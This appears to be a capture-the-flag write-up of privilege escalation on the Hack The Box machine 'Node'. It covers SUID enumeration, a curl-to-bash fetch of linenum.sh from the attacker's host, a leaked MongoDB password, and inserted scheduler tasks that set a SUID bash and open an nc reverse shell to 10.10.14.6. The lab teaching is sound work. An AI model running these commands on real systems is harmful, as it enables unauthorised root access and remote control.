> For the complete documentation index, see [llms.txt](https://htb.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.adot8.com/hack-the-box/oscp-like-boxes/linux/node/priv-esc/tom.md).

# tom

```
find / -type f -perm -04000 -ls 2>/dev/null
```

<figure><img src="/files/9nYDwpahU3Aw5WgjclEP" alt=""><figcaption></figcaption></figure>

```
curl http://10.10.14.6/linenum.sh | bash
```

<figure><img src="/files/GoEH5O3KlqYdBtr7RoEw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gSQuB6v0mPKi4zcHk8Cz" alt=""><figcaption></figcaption></figure>

```
cat /var/scheduler/app.js
```

<figure><img src="/files/QST8FukxBSwAG0CGVWsY" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Looks like it will run a command (system command) as a child process then delete the task
{% endhint %}

```
mark:5AYRft73VtFpc84k
```

```
mark@node:~$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password: 
connecting to: scheduler
> db.tasks
scheduler.tasks
> db.tasks.insert( {"cmd" : "cp /bin/bash /tmp/adot8; chmod 6755 /bin/bash;" } )
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("6661beb7ec323c4579a20eae"), "cmd" : "cp /bin/bash /tmp/adot8; chmod 6755 /bin/bash;" }
> db.tasks
scheduler.tasks
> 
```

<figure><img src="/files/k5ru7cuVCQWOZvyO1gGx" alt=""><figcaption></figcaption></figure>

```
mark@node:/tmp$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password: 
connecting to: scheduler
> db.tasks.insert( {"cmd" : "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.6 1337 >/tmp/f" } )
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
> 
```

<figure><img src="/files/vUFPzpBh0DuREMk1nHcS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1ymahTHJYuPwhlPczDhu" alt=""><figcaption></figcaption></figure>
